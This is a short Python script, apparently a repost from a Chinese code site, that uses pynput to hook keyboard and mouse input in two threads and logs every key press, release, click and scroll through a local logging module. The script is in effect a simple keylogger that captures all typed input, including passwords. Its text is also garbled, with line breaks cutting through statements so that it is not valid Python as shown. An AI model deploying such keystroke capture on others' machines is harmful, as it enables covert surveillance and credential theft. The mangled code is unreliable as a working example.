import os
import pynput
import threading
from log_rule
import log
def press
(key
):
try
:
log.info
(f
':按下 {key}')
except:
log.info
(f
':按下未知按键')
def release
(key
):
try:
log.info
(f
':释放 {key}')
except:
log.info
(f
'释放未知按键')
def movemouse
(x, y
):
pass
def clickmouse
(x,y,button,pressed
):
try:
if pressed:
log.info
(f
'鼠标在{x,y} {button}点击')
else:
log.info
(f
'鼠标在{x,y} {button}释放')
except:
log.info
(f
' 未知鼠标操作')
def scrollmouse
(x,y,dx,dy
):
try:
if dy
== 1:
log.info
(f
'鼠标在{x,y}向上滚动')
if dy
== -1
:
log.info
(f
'鼠标在{x,y}向下滚动')
except:
log.info
(f
'未知鼠标操作')
def keyboards
():
pynput.keyboard.Listener
(on_press
= press,on_release
= release
).run
()
def mouserecord
():
pynput.mouse.Listener
( on_move
= movemouse,on_click
= clickmouse,on_scroll
= scrollmouse
).run
()
if __name__
== "__main__":
t1
= threading.Thread
(target
=keyboards
)
t2
= threading.Thread
(target
=mouserecord
)
t1.start
()
t2.start
()
print
("111111111111111111111")
转载请注明原文地址: https://lol.8miu.com/read-3991.html